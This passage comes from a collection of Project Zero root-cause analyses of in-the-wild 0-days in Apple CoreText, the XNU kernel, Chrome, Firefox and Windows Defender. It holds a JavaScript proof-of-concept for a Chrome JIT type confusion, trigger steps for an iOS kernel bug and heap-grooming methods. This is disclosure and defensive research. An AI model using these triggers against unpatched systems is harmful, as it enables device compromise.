[CVE-2020-29624](https://bugs.chromium.org/p/project-zero/issues/detail?id=2115): Apple CoreText libFontParser.dylib stack corruption in the handling of /BlendDesignPositions Type 1 objects 88 | * [CVE-2020-27944](https://bugs.chromium.org/p/project-zero/issues/detail?id=2116): Apple CoreText libType1Scaler.dylib heap out-of-bounds write due to integer overflow in STOREWV othersubr 89 | 90 | ### Structural improvements 91 | 92 | * Insert extra "safety nets" in the main CharString interpreter function to guarantee that even if the stack pointer is shifted out of bounds, subsequent PostScript operators cannot operate on it. 93 | * Remove support for unused, deprecated Type 1 font features in `libType1Scaler.dylib` to reduce the effective attack surface. 94 | * Deprecate the `libType1Scaler.dylib` library entirely or make it non-reachable from the context of typical attack vectors (e.g. Safari). 95 | * Move the font parsing code into a separate, sandboxed worker process in macOS and/or iOS. 96 | 97 | ### 0-day detection methods 98 | 99 | Type 1 fonts are many decades old and have been long superseded by more efficient and advanced formats. They are exceedingly rare nowadays, and even more so in the context of web browsing where only formats such as TTF, OTF, WOFF and WOFF2 are officially supported. As a result, any Type 1 fonts embedded in websites or dynamically loaded in JavaScript are highly suspicious, especially if they include non-standard features such as Multiple Masters or unusual instructions like `callothersubr`. 100 | 101 | ## Other References 102 | 103 | * [List of bugs](https://bugs.chromium.org/p/project-zero/issues/list?q=id%3A169%2C174%2C175%2C176%2C177%2C178%2C179%2C180%2C247%2C248%2C249%2C250%2C258%2C259%2C277&can=1) reported by Project Zero in Microsoft and Adobe Type 1 Interpreters in 2014/2015 104 | * July 2015: A [series of blog posts](https://googleprojectzero.blogspot.com/2015/07/one-font-vulnerability-to-rule-them-all.html) about the exploitation of the BLEND Type 1 operator vulnerabilities (CVE-2015-0093, CVE-2015-3052), similar in nature to the callothersubr issue discussed here -------------------------------------------------------------------------------- /0day-RCAs/2020/CVE-2020-27932.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-27932: iOS Kernel privesc with turnstiles 2 | *Ian Beer, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2021-02-04)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 5 November 2020 7 | 8 | **Product:** Apple iOS 9 | 10 | **Advisory:** https://support.apple.com/en-us/HT211929 11 | 12 | **Affected Versions:** iOS 14.1 and previous 13 | 14 | **First Patched Version:** iOS 14.2 15 | 16 | **Issue/Bug Report:** https://bugs.chromium.org/p/project-zero/issues/detail?id=2107 17 | 18 | **Patch CL:** N/A 19 | 20 | **Bug-Introducing CL:** N/A 21 | 22 | **Reporter(s):** Ian Beer of Google Project Zero 23 | 24 | 25 | ## The Code 26 | 27 | **Proof-of-concept:** https://bugs.chromium.org/p/project-zero/issues/detail?id=2107 28 | 29 | **Exploit sample:** N/A 30 | 31 | **Did you have access to the exploit sample when doing the analysis?** Yes 32 | 33 | ## The Vulnerability 34 | 35 | **Bug class:** Type confusion 36 | 37 | **Vulnerability details:** 38 | 39 | A kernel type confusion between an `ipc_port` pointer and a `host_notify_entry` pointer due to failure to account for the semantics of `IKOT_HOST_NOTIFY` ports in turnstile code. 40 | 41 | 42 | `IKOT_HOST_NOTIFY` ports have slightly unusual semantics: the `host_request_notification` method allows userspace to take a regular, userspace-owned mach port and set the `kobject` field to point to a `host_notify_entry` object. The `kobject` field is actually a member of a fairly large union (`kdata`) leading to plenty of opportunities for type confusions if kernel code doesn't account for the semantics of `IKOT_HOST_NOTIFY` ports (i.e., if the kernel code doesn't know that userspace-owned ports can suddenly become `IKOT_HOST_NOTIFY` ports.) 43 | 44 | ``` 45 | union { 46 | ipc_kobject_t kobject; 47 | ipc_kobject_label_t kolabel; 48 | ipc_importance_task_t imp_task; 49 | ipc_port_t sync_inheritor_port; 50 | struct knote *sync_inheritor_knote; 51 | struct turnstile *sync_inheritor_ts; 52 | } kdata; 53 | ``` 54 | 55 | There have been type confusions here before; for example a type confusion between `imp_task` and `kobject` (via the `IKOT_HOST_NOTIFY` trick) was fixed in MacOS 10.10. 56 | 57 | In this case the turnstiles code added around iOS 12 added the `sync_inheritor_port` field to the `kdata` union to indicate the destination port to which a new type of port called a special reply port had been sent. Through some mach port gymnastics it was possible to get the kernel to read a pointer to a `host_notify_entry` as a `ipc_port` pointer (via `sync_inheritor_port`) and then cause an out of bounds write. 58 | 59 | Specifically: send a mach message to a destination port and attach the `thread_special_reply_port` as the `msgh_local_port` with a `SEND_ONCE` disposition. 60 | 61 | The trick to make something bad happen is to set the `MACH_SEND_SYNC_OVERRIDE` flag when sending that message. This allows you to change the `ip_sync_link_state` value away from `PORT_SYNC_LINK_ANY`. 62 | 63 | After sending that message, convert the thread's `special_reply_port` to a `IKOT_HOST_NOTIFY` via `host_request_notification`. 64 | 65 | Then attempt to receive a message on that `special_reply_port` and you'll hit the type-confusion when `ipc_port_adjust_special_reply_port_locked` reads `special_reply_port->ip_sync_inheritor_port` expecting a valid port pointer, but actually finds a `host_notify_entry` pointer because the `special_reply_port` was converted to a `host_notify` port. 66 | 67 | **Patch analysis:** N/A 68 | 69 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 70 | 71 | This bug could be seen as a variant of earlier issues involving this union; it could have been found via manual review if you were familiar with those earlier issues. Actually figuring out the conditions required to cause an exploitable type confusion are non-trivial, and I wouldn't expect a fuzzer to find them. 72 | 73 | **(Historical/present/future) context of bug:** 74 | 75 | ## The Exploit 76 | 77 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 78 | 79 | **Exploit strategy (or strategies):** *Still under analysis.* 80 | 81 | **Exploit flow:** *Still under analysis.* 82 | 83 | **Known cases of the same exploit flow:** *Still under analysis.* 84 | 85 | **Part of an exploit chain?** This vulnerability was used as a part of an iOS exploit chain. It was used after the Safari RCE ([CVE-2020-27930](CVE-2020-27930.md)) and the kernel memory disclosure ([CVE-2020-27950](CVE-2020-27950.md)). 86 | 87 | ## The Next Steps 88 | 89 | ### Variant analysis 90 | 91 | **Areas/approach for variant analysis (and why):** I would suggest auditing similar uses of complex unions. 92 | 93 | **Found variants:** N/A 94 | 95 | ### Structural improvements 96 | 97 | The use of a union here seems unnecessary; the memory saving is negligible on modern systems. My suggestion would be to either add another memory to `ipc_port` which stores the current valid field of the `kdata` union, or break the union fields out into separate members. 98 | 99 | ### 0-day detection methods 100 | 101 | 102 | ## Other References 103 | -------------------------------------------------------------------------------- /0day-RCAs/2020/CVE-2020-27950.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-27950: XNU Kernel Memory Disclosure in Mach Message Trailers 2 | *Ian Beer, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2021-02-04)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 5 November 2020 7 | 8 | **Product:** Apple iOS 9 | 10 | **Advisory:** https://support.apple.com/en-us/HT211929 11 | 12 | **Affected Versions:** iOS 14.1 and previous 13 | 14 | **First Patched Version:** iOS 14.2 15 | 16 | **Issue/Bug Report:** https://bugs.chromium.org/p/project-zero/issues/detail?id=2108 17 | 18 | **Patch CL:** N/A 19 | 20 | **Bug-Introducing CL:** N/A 21 | 22 | **Reporter(s):** Ian Beer of Google Project Zero 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** https://bugs.chromium.org/p/project-zero/issues/detail?id=2108 27 | 28 | **Exploit sample:** N/A 29 | 30 | **Did you have access to the exploit sample when doing the analysis?** Yes 31 | 32 | ## The Vulnerability 33 | 34 | **Bug class:** Information leak 35 | 36 | **Vulnerability details:** A kernel memory disclosure vulnerability due to an incorrect size calculation when receiving mach messages and requesting an invalid combination of trailer elements. The vulnerability gives the attacker the ability to leak stale data from various kalloc size classes. 37 | 38 | **Patch analysis:** N/A 39 | 40 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** This vulnerability probably could have been found by fuzzing if the fuzzer was set up to discover uninitialized memory (the underlying allocation isn't free; just those four bytes never get written to before they're read.) The bug could also have been found through manual analysis. 41 | 42 | **(Historical/present/future) context of bug:** 43 | 44 | ## The Exploit 45 | 46 | **Is the exploit method known?** Yes 47 | 48 | **Exploit method:** Groom the target kalloc size class to contain the pointer you wish to disclose at the right offset; in this case using out-of-line port descriptors to fill arbitrary sized kalloc allocations with pointers to ports. Free those allocations and reallocate them as mach messages then trigger the vulnerability when receiving those messages to read 4 bytes of the target pointer. Adjust the size of the message to leak the other 4 bytes. 49 | 50 | **Part of an exploit chain?** This vulnerability was used as a part of an iOS exploit chain. It was used after the Safari RCE ([CVE-2020-27930](CVE-2020-27930.md)) and before the kernel privilege escalation ([CVE-2020-27932](CVE-2020-27932.md)). 51 | 52 | ## The Next Steps 53 | 54 | ### Variant analysis 55 | 56 | **Areas/approach for variant analysis (and why):** Auditing other complex structures which get copied out to userspace but aren't zero-initialized. 57 | 58 | **Found variants:** N/A 59 | 60 | ### Structural improvements 61 | 62 | The underlying feature where this vulnerability was found has long since been removed from XNU; the code should have been properly removed. Ensuring allocations which will be filled in and copied to userspace are zeroed out when allocated would be a good defense-in-depth measure which would have mitigated this issue. 63 | 64 | ### 0-day detection methods 65 | 66 | ## Other References 67 | -------------------------------------------------------------------------------- /0day-RCAs/2020/CVE-2020-6418.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-6418: Chrome incorrect side-effect modelling issue in Turbofan leading to type confusions 2 | *Samuel Groß and Sergei Glazunov, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2020-08-05)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 24 February 2020 7 | 8 | **Product:** Google Chrome 9 | 10 | **Advisory:** https://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html 11 | 12 | **Affected Versions:** Google Chrome 60 - 80 13 | 14 | **First Patched Version:** 80.0.3987.122 15 | 16 | **Issue/Bug Report:** https://bugs.chromium.org/p/chromium/issues/detail?id=1053604 17 | 18 | **Patch CL:** https://chromium.googlesource.com/v8/v8.git/+/fb0a60e15695466621cf65932f9152935d859447 19 | 20 | **Bug-Introducing CL:** https://chromium.googlesource.com/v8/v8.git/+/0f716acadaed1d9e194593543dbe1340d600d6fc 21 | 22 | **Reporter(s):** Clément Lecigne of Google's Threat Analysis Group 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** 27 | 28 | ```javascript 29 | 'use strict'; 30 | (function() { 31 | var popped; 32 | 33 | function trigger(new_target) { 34 | function inner(new_target) { 35 | function constructor() { 36 | popped = Array.prototype.pop.call(array); 37 | } 38 | var temp = array[0]; 39 | return Reflect.construct(constructor, arguments, new_target); 40 | } 41 | 42 | inner(new_target); 43 | } 44 | 45 | var array = new Array(0, 0, 0, 0, 0); 46 | 47 | for (var i = 0; i < 20000; i++) { 48 | trigger(function() { }); 49 | array.push(0); 50 | } 51 | 52 | var proxy = new Proxy(Object, { 53 | get: () => (array[4] = 1.1, Object.prototype) 54 | }); 55 | 56 | trigger(proxy); 57 | print(popped); 58 | }()); 59 | ``` 60 | 61 | **Exploit sample:** N/A 62 | 63 | **Did you have access to the exploit sample when doing the analysis?** Yes 64 | 65 | ## The Vulnerability 66 | 67 | **Bug class:** Incorrect side-effect modelling in JIT Compiler 68 | 69 | **Vulnerability details:** 70 | 71 | The function [NodeProperties::InferReceiverMapsUnsafe](https://source.chromium.org/chromium/chromium/src/+/master:v8/src/compiler/node-properties.cc;drc=04ea8adc20fdf4e6dba9885781d415dcf851b153;bpv=1;bpt=1;l=337?originalUrl=https:%2F%2Fcs.chromium.org%2F) is responsible for inferring the Map of an object. From the source code documentation: "This information can be either 'reliable', meaning that the object is guaranteed to have one of these maps at runtime, or 'unreliable', meaning that the object is guaranteed to have HAD one of these maps". In the latter case, the caller has to ensure that the object has the correct type, either by using `CheckMap` nodes or `CodeDependencies`. 72 | 73 | 74 | On a high level, the `InferReceiverMapsUnsafe` function traverses the effect chain until it finds the node creating the object in question and, at the same time, marks the result as unreliable if it encounters a node without the `kNoWrite` flag, indicating that executing the node could have side-effects such as changing the Maps of an object. There is a mistake in the handling of `kJSCreate`: if the object in question is not the output of `kJSCreate`, then the loop continues without marking the result as unreliable. This is incorrect because `kJSCreate` can have side-effects, for example by using a Proxy as third argument to `Reflect.construct`. The bug can then for example be triggered by inlining `Array.pop` and changing the elements' kind from `SMIs` to `Doubles` during the unexpected side effect. 75 | 76 | Normally, this bug class occurs due to mis-modelling of an operation in the JIT compiler. However, this time the modelling was correct (the `JSCreate` function was correctly marked as having side effects), however, the specific piece of code relying on this data was incorrect as it had special-cased the `JSCreate` operation and then forgot to perform the side-effect modelling. 77 | 78 | **Patch analysis:** N/A 79 | 80 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 81 | 82 | JIT side-effect related bugs are likely hard to discover through generic JavaScript engine fuzzing approaches, as, without [specific compiler instrumentation](https://github.com/mozilla/gecko-dev/commit/4ca7a9d3ee9c7fe0d432bd3d3e251238a6f71721), they don’t normally result in observable misbehaviour at runtime (i.e., a crash). Given that the vulnerable function is clearly security-critical, it is thus more likely that the bug was discovered through manual code analysis while looking for type inference related issues. 83 | 84 | **(Historical/present/future) context of bug:** 85 | 86 | JIT side effect modelling issues have been found and exploited in all major engines in the past years. 87 | 88 | This vulnerability was chained with both Windows 0-days ([CVE-2020-0938](CVE-2020-0938.md), [CVE-2020-1020](CVE-2020-1020.md), [CVE-2020-1027](CVE-2020-1027.md) and Android n-days as a part of a watering hole attack. 89 | 90 | ## The Exploit 91 | 92 | **Is the exploit method known?** Yes 93 | 94 | **Exploit method:** 95 | 96 | The attacker abused the unexpected side-effect to cause type confusion between the floating-point and tagged pointer array types, which allowed them to implement the `fakeobj` primitive. `fakeobj` makes the JavaScript engine treat an arbitrary value as a pointer to a JavaScript object. The attacker constructed a “fake” typed array and used it to overwrite the machine code of a compiled WebAssembly function with their shellcode. 97 | 98 | ## The Next Steps 99 | 100 | ### Variant analysis 101 | 102 | **Areas/approach for variant analysis (and why):** 103 | 104 | Manual auditing for similar issues in the same function and related ones. A more generic approach would be to build compiler instrumentation to detect unexpected side effects at runtime and abort early. 105 | 106 | **Found variants:** None 107 | 108 | ### Structural improvements 109 | 110 | N/A. This bug seems to be somewhat unique (at least it’s quite different from all the other side-effect mis-modelling bugs we can think of) and thus probably not much can be done in terms of generic/structural improvements. 111 | 112 | ### 0-day detection methods 113 | 114 | These types of exploits are likely hard to detect generically. 115 | 116 | ## Other References 117 | 118 | * January 2021: [“In The Wild: Chrome exploits”](https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-exploits.html) blogpost 119 | * May 2019: ["Exploiting Logic Bugs in JavaScript JIT Engines"](http://www.phrack.org/issues/70/9.html#article) by @saelo 120 | -------------------------------------------------------------------------------- /0day-RCAs/2020/CVE-2020-6572.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-6572: Chrome MediaCodecAudioDecoder Sandbox Escape 2 | *Ben Hawkes, Project Zero* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 7 April 2020 7 | 8 | **Product:** Google Chrome 9 | 10 | **Advisory:** https://chromereleases.googleblog.com/2020/04/stable-channel-update-for-desktop_7.html 11 | 12 | **Affected Versions:** pre 81.0.4044.92 13 | 14 | **First Patched Version:** 81.0.4044.92 15 | 16 | **Issue/Bug Report:** https://bugs.chromium.org/p/chromium/issues/detail?id=1066893 17 | 18 | **Patch CL:** https://chromium.googlesource.com/chromium/src.git/+/c0268599d1161f4c57a7911c7f036f70af88c8d0 19 | 20 | **Bug-Introducing CL:** https://source.chromium.org/chromium/chromium/src/+/2864f6e586bc2eba6b7479fee7738a0a2779dd0f (Commited on 2016-03-23) 21 | 22 | **Reporter(s):** Anonymous 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** N/A 27 | 28 | **Exploit sample:** N/A 29 | 30 | **Did you have access to the exploit sample when doing the analysis?** No 31 | 32 | ## The Vulnerability 33 | 34 | **Bug class:** Use-after-free 35 | 36 | **Vulnerability details:** 37 | 38 | The vulnerability is that `MediaCodecAudioDecoder::Initialize` doesn't reset `media_crypto_context_` if `media_crypto_` has been previously set. This can occur if `MediaCodecAudioDecoder::Initialize` is called twice, which is explicitly supported. This is problematic when the second initialization uses a different Content Decryption Module (CDM) than the first one. Each CDM owns the `media_crypto_context_` object, and the CDM itself is reference counted. Once the new CDM is set, the old CDM loses a reference and may be destructed. However, `MediaCodecAudioDecoder` still holds a raw pointer to `media_crypto_context_` from the old CDM since it wasn't updated, which results in a UAF on `media_crypto_context_` (for example, in `MediaCodecAudioDecoder::~MediaCodecAudioDecoder`). 39 | 40 | In the most abstract sense, the problem arises when one `unique_ptr` is assigned to another. Assignment makes the original `unique_ptr` go out of scope, meaning it can be deleted. At the same time a raw pointer from the originally referenced object isn't updated. 41 | 42 | **Patch analysis:** 43 | 44 | The patch ensures that double-initialization of the decoder service can't change the CDM. This means that the CDM won't be destructed, and so `media_crypto_context_` won't be left dangling. 45 | 46 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 47 | 48 | It's most likely that this issue was found through manual review, particularly by studying past issues in this area. It could also have been found statically (e.g. using CodeQL). Fuzzing is possible, but would necessarily have been carried out on a build that supported CDM instantiation (e.g. Widevine support). 49 | 50 | **(Historical/present/future) context of bug:** 51 | 52 | * April 2020: This vulnerability was reported as exploited in-the-wild. 53 | * September 2019: Man Yue Mo of Semmle [reported a very similar vulnerability](https://bugs.chromium.org/p/chromium/issues/detail?id=1004730), [CVE-2019-13695](https://chromereleases.googleblog.com/2019/10/stable-channel-update-for-desktop.html). 54 | + This vulnerability is essentially the same bug as CVE-2020-6572, it's just triggered by an error path after initialize `MojoAudioDecoderService` twice rather than by re-initializing `MediaCodecAudioDecoder`. 55 | * August 2019: Guang Gong of Alpha Team, Qihoo 360 [reported a similar vulnerability](https://bugs.chromium.org/p/chromium/issues/detail?id=999311) in the same component, [CVE-2019-5870](https://chromereleases.googleblog.com/2019/09/stable-channel-update-for-desktop.html). 56 | 57 | ## The Exploit 58 | 59 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 60 | 61 | We did not see a copy of the exploit and thus don't know anything about the exploit method. 62 | 63 | **Exploit strategy (or strategies):** 64 | 65 | **Exploit flow:** 66 | 67 | **Known cases of the same exploit flow:** 68 | 69 | **Part of an exploit chain?** 70 | 71 | While we don't know for sure, this vulnerability is specifically in the Chrome implementation for Android so it's like that this vulnerability was chained with a Chrome renderer exploit and an Android GPU exploit. 72 | 73 | ## The Next Steps 74 | 75 | ### Variant analysis 76 | 77 | **Areas/approach for variant analysis (and why):** 78 | 79 | * Checked that there are no other instances of `cdm_context_ref_` being reassigned. Looks good. 80 | * Checked related service endpoints for problems with multiple calls to Initialize or similar routines. Most other Initialize routines can only be called once. Decryptor can be called multiple times, but no dangling pointers to be found. 81 | * Checked for other instances of `scoped_refptr`'s being assigned to in the same area. Nothing else that looks interesting. 82 | * Generation of `cdm_id` can wrap (incrementing 32-bit integer). Might lead to problems in `MojoCdmService::~MojoCdmService()` -- however it's not very practical, this would take 14+ days on a Pixel 3a. 83 | 84 | **Found variants:** 85 | 86 | While not a variant, analyzing this vulnerability led to more analysis of Android GPU vulnerabilities. This led to CVE-2020-11179 in Qualcomm's Adreno GPU. [blogpost](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html) 87 | 88 | ### Structural improvements 89 | 90 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 91 | 92 | **Ideas to kill the bug class:** 93 | Allocator-assisted pointer safety designs like MiraclePtr would likely apply to bugs like this. 94 | 95 | Eventually memory-tagging in Chrome's browser/GPU process would potentially make issues like this unexploitable, but hardware isn't generally available as of publication, and important implementation details are still uncertain (for example, regarding synchronous vs asynchronous detection of violations). 96 | 97 | **Ideas to mitigate the exploit flow:** N/A 98 | 99 | **Other potential improvements:** 100 | 101 | On desktop systems, Chrome's GPU process and browser process are separate processes that have different sandboxing rules. On Android however (at time of writing in 2020), all of the stuff that's in the GPU process is actually run from a thread in the browser process. Arguably Chrome on Android's design gives you a wider attack surface for the next step in the exploit chain than would be strictly necessary, and increasing process isolation would mean you could further lock down the seccomp-bpf policies. 102 | 103 | ### 0-day detection methods 104 | 105 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? N/A 106 | 107 | ## Other References 108 | 109 | * February 2021: "Déjà vu-lnerability: A Year in Review of 0-days Exploited In-the-Wild in 2020" [blogpost](https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html) 110 | * September 2020: "Attacking the Qualcomm Adreno GPU" [blogpost](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html) 111 | * August 2020: Guang Gong presented on CVE-2019-5870, a related bug at Blackhat USA 2020, "TiYunZong: An Exploit Chain to Remotely Root Modern Android Devices - Pwn Android Phones from 2015 to 2020" [[video](https://www.youtube.com/watch?v=K91SrkKt4IQ), [slides](https://i.blackhat.com/USA-20/Thursday/us-20-Gong-TiYunZong-An-Exploit-Chain-To-Remotely-Root-Modern-Android-Devices.pdf), [white paper](https://i.blackhat.com/USA-20/Thursday/us-20-Gong-TiYunZong-An-Exploit-Chain-To-Remotely-Root-Modern-Android-Devices-wp.pdf)] 112 | 113 | -------------------------------------------------------------------------------- /0day-RCAs/2020/CVE-2020-6820.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-6820: Firefox use-after-free in Cache 2 | *Maddie Stone, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2020-08-05)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 03 April 2020 7 | 8 | **Product:** Mozilla Firefox 9 | 10 | **Advisory:** https://www.mozilla.org/en-US/security/advisories/mfsa2020-11/ 11 | 12 | **Affected Versions:** pre-74.0.1 13 | 14 | **First Patched Version:** Firefox 74.0.1 and and Firefox ESR 68.6.1 15 | 16 | **Issue/Bug Report:** https://bugzilla.mozilla.org/show_bug.cgi?id=1626728 17 | 18 | **Patch CL:** https://hg.mozilla.org/mozilla-central/rev/6639deb894172375b05d6791f5f8c7d53ca79723 19 | 20 | **Bug-Introducing CL:** Unknown 21 | 22 | **Reporter(s):** Francisco Alonso [@revskills](https://twitter.com/revskills) working with Javier Marcos of [@JMPSec](https://twitter.com/JMPSec) 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** N/A 27 | 28 | **Exploit sample:** N/A 29 | 30 | **Did you have access to the exploit sample when doing the analysis?** No 31 | 32 | ## The Vulnerability 33 | 34 | **Bug class:** use-after-free (UaF) 35 | 36 | **Vulnerability details:** 37 | 38 | There is a UaF of the `CacheStreamControlParent` when closing its last open read stream. The read stream is the response returned to the context process from a cache query. If the close or abort command is received while any read streams are still open, it triggers `StreamList::CloseAll`. If the `StreamControl` (must be Parent to get a UAF in browser process, the Child would only provide in renderer) still has `ReadStream`s when `StreamList::CloseAll` is called, then this will cause the `CacheStreamControlParent` to be freed. The `mId` member of the `CacheStreamControl` parent is then subsequently accessed, causing the use-after-free. The execution flow is shown below. 39 | 40 | ``` 41 | StreamList::CloseAll /* PATCHED FUNCTION */ 42 | CacheStreamControlParent::CloseAll 43 | CacheStreamControlParent::NotifyCloseAll 44 | StreamControl::CloseAllReadStreams 45 | For each stream: 46 | ReadStream::Inner::CloseStream 47 | ReadStream::Inner::Close 48 | ReadStream::Inner::NoteClosed 49 | … 50 | StreamControl::NoteClosed 51 | StreamControl::ForgetReadStream 52 | CacheStreamControlParent/Child::NoteClosedAfterForget 53 | CacheStreamControlParent::RecvNoteClosed 54 | StreamList::NoteClosed 55 | If StreamList is empty && mStreamControl: 56 | CacheStreamControlParent::Shutdown 57 | Send__delete(this) /* FREED HERE */ 58 | PCacheStreamControlParent::SendCloseAll /* USED HERE IN CALL TO Id() */ 59 | ``` 60 | 61 | I did not get a working trigger for this vulnerability that didn’t involve shutting down the process. The difficulty is getting there to still be a `ReadStream` when `StreamList::CloseAll` is closed. It seems that others, including Firefox engineers, also haven’t found a way to trigger this bug and similar bugs that require winning this race condition that doesn’t involve shut down ([here](https://bugzilla.mozilla.org/show_bug.cgi?id=1626728#c15), [here](https://bugzilla.mozilla.org/show_bug.cgi?id=1507180), and [here](https://bugzilla.mozilla.org/show_bug.cgi?id=1368273#c9)). If you have found a way to trigger without shutting down the process, please share. 62 | 63 | **Patch analysis:** 64 | 65 | The patch fixes the vulnerability by setting `mStreamControl` to nullptr prior to calling `CacheStreamControlParent::CloseAll`. This then prevents the call to `CacheStreamControlParent::Shutdown` and the freeing of the `CacheStreamControlParent`. 66 | 67 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 68 | 69 | It seems likely that this vulnerability could have been found by: 70 | 1. Manual code auditing/variant analysis after seeing the patch for [Bug 1507180](https://bugzilla.mozilla.org/show_bug.cgi?id=1507180) which is a similar UaF in the same module, or 71 | 2. Fuzzing IPDL interfaces. Fuzzing may be slightly more likely due to the difficulty that even Firefox engineers have had in reproducing this bug. 72 | 73 | **(Historical/present/future) context of bug:** 74 | 75 | * CVE-2020-6820 was used as a chain with CVE-2020-6819 ([bug report](https://bugzilla.mozilla.org/show_bug.cgi?id=1620818)), where 6819 is the renderer exploit and 6820 is the sandbox escape. According to [this comment](https://bugzilla.mozilla.org/show_bug.cgi?id=1620818#c6), these two vulnerabilities were found by visiting a URL known to be affiliated with a threat actor, (assumedly) using ASAN Firefox builds. 76 | * [Bug 1507180](https://bugzilla.mozilla.org/show_bug.cgi?id=1507180) is a very similar UaF to this vulnerability. It was patched in December 2019 with an explanatory comment. The bug with ASAN crash wasn’t derestricted until June 2020, but someone may have root caused the bug based on the patches and found this other variant. 77 | It’s interesting that engineers for both [this vulnerability](https://bugzilla.mozilla.org/show_bug.cgi?id=1626728#c15) and the previous [bug 1507180](https://bugzilla.mozilla.org/show_bug.cgi?id=1507180#c10) struggled to reproduce the crashes, this likely led to the “race condition” wording of the advisory. 78 | 79 | ## The Exploit 80 | 81 | **Is the exploit method known?** N/A 82 | 83 | **Exploit method:** Unknown 84 | 85 | ## The Next Steps 86 | 87 | ### Variant analysis 88 | 89 | **Areas/approach for variant analysis (and why):** The IPDL interface for the Cache subsystem is very complex. Since there have already been two very similar bugs found in the closing process involving streams, it would be worthwhile to look for other use-after-frees here too. 90 | 91 | **Found variants:** 92 | 93 | * [Bug 165115](https://bugzilla.mozilla.org/show_bug.cgi?id=1655115): UAF in `StreamControl::CloseReadStreams`, but the code is dead code. FF removed it. 94 | 95 | ### Structural improvements 96 | 97 | Since the vulnerability was disclosed, Firefox has already begun reducing the use of raw pointers in the Cache module. https://bugzilla.mozilla.org/show_bug.cgi?id=1627892 98 | 99 | ### 0-day detection methods 100 | 101 | Firefox has crash logs for common crashes [here](https://crash-stats.mozilla.org/topcrashers/?product=Firefox&version=79.0). We could potentially find failed exploitation attempts in these crash logs. 102 | 103 | ## Other References 104 | -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-1048-file-states.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/googleprojectzero/0days-in-the-wild/bf4c0e41fab9efa1bbe2b189c3afeed55dcb287e/0day-RCAs/2021/CVE-2021-1048-file-states.png -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-1647.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-1647: Windows Defender mpengine remote code execution 2 | *Maddie Stone, Project Zero* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 12 January 2021 7 | 8 | **Product:** Microsoft Windows Defender 9 | 10 | **Advisory:** https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1647 11 | 12 | **Affected Versions:** Version 1.1.17600.5 and previous 13 | 14 | **First Patched Version:** Version 1.1.17700.4 15 | 16 | **Issue/Bug Report:** N/A 17 | 18 | **Patch CL:** N/A 19 | 20 | **Bug-Introducing CL:** N/A 21 | 22 | **Reporter(s):** Anonymous 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** 27 | 28 | **Exploit sample:** [6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788](https://www.virustotal.com/gui/file/6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788/detection) 29 | 30 | **Did you have access to the exploit sample when doing the analysis?** Yes 31 | 32 | ## The Vulnerability 33 | 34 | **Bug class:** Heap buffer overflow 35 | 36 | **Vulnerability details:** 37 | 38 | There is a heap buffer overflow when Windows Defender (`mpengine.dll`) processes the section table when unpacking an [ASProtect](http://www.aspack.com) packed executable. Each section entry has two values: the virtual address and the size of the section. The code in `CAsprotectDLLAndVersion::RetrieveVersionInfoAndCreateObjects` only checks if the next section entry's address is lower than the previous one, not if they are equal. This means that if you have a section table such as the one used in this exploit sample: `[ (0,0), (0,0), (0x2000,0), (0x2000,0x3000) ]`, 0 bytes are allocated for the section at address 0x2000, but when it sees the next entry at 0x2000, it simply skips over it without exiting nor updating the size of the section. 0x3000 bytes will then be copied to that section during the decompression, leading to the heap buffer overflow. 39 | 40 | ```c 41 | if ( next_sect_addr > sect_addr )// current va is greater than prev (not also eq) 42 | { 43 | sect_addr = next_sect_addr; 44 | sect_sz = (next_sect_sz + 0xFFF) & 0xFFFFF000; 45 | } 46 | // if 